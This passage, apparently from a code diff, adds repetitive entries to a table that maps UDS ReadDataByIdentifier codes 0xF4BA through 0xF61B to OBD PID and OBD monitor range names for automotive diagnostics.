+UDS_RDBI.dataIdentifiers[0xf4ba] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4bb] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4bc] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4bd] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4be] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4bf] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c0] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c1] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c2] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c3] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c4] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c5] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c6] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c7] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c8] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4c9] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ca] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4cb] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4cc] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4cd] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ce] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4cf] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d0] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d1] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d2] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d3] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d4] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d5] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d6] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d7] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d8] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4d9] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4da] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4db] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4dc] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4dd] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4de] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4df] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e0] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e1] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e2] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e3] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e4] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e5] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e6] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e7] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e8] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4e9] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ea] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4eb] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ec] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ed] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ee] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ef] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f0] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f1] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f2] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f3] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f4] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f5] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f6] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f7] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f8] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4f9] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4fa] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4fb] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4fc] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4fd] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4fe] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf4ff] = "OBDPids_F400 - F4FF" +UDS_RDBI.dataIdentifiers[0xf500] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf501] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf502] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf503] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf504] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf505] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf506] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf507] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf508] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf509] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf50a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf50b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf50c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf50d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf50e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf50f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf510] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf511] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf512] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf513] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf514] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf515] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf516] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf517] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf518] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf519] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf51a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf51b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf51c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf51d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf51e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf51f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf520] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf521] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf522] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf523] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf524] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf525] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf526] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf527] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf528] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf529] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf52a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf52b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf52c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf52d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf52e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf52f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf530] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf531] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf532] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf533] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf534] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf535] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf536] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf537] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf538] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf539] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf53a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf53b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf53c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf53d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf53e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf53f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf540] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf541] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf542] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf543] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf544] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf545] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf546] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf547] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf548] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf549] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf54a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf54b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf54c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf54d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf54e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf54f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf550] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf551] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf552] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf553] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf554] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf555] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf556] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf557] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf558] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf559] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf55a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf55b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf55c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf55d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf55e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf55f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf560] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf561] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf562] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf563] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf564] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf565] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf566] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf567] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf568] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf569] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf56a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf56b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf56c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf56d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf56e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf56f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf570] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf571] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf572] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf573] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf574] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf575] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf576] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf577] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf578] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf579] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf57a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf57b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf57c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf57d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf57e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf57f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf580] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf581] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf582] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf583] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf584] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf585] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf586] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf587] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf588] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf589] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf58a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf58b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf58c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf58d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf58e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf58f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf590] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf591] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf592] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf593] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf594] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf595] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf596] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf597] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf598] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf599] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf59a] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf59b] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf59c] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf59d] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf59e] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf59f] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a0] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a1] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a2] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a3] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a4] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a5] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a6] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a7] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a8] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5a9] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5aa] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ab] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ac] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ad] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ae] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5af] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b0] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b1] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b2] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b3] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b4] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b5] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b6] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b7] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b8] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5b9] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ba] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5bb] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5bc] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5bd] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5be] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5bf] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c0] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c1] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c2] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c3] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c4] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c5] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c6] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c7] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c8] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5c9] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ca] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5cb] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5cc] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5cd] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ce] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5cf] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d0] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d1] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d2] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d3] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d4] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d5] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d6] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d7] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d8] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5d9] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5da] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5db] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5dc] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5dd] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5de] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5df] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e0] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e1] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e2] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e3] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e4] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e5] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e6] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e7] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e8] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5e9] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ea] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5eb] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ec] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ed] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ee] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ef] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f0] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f1] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f2] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f3] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f4] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f5] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f6] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f7] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f8] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5f9] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5fa] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5fb] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5fc] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5fd] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5fe] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf5ff] = "OBDPids_F500 - F5FF" +UDS_RDBI.dataIdentifiers[0xf600] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf601] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf602] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf603] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf604] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf605] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf606] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf607] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf608] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf609] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf60a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf60b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf60c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf60d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf60e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf60f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf610] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf611] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf612] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf613] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf614] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf615] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf616] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf617] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf618] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf619] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf61a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf61b] = 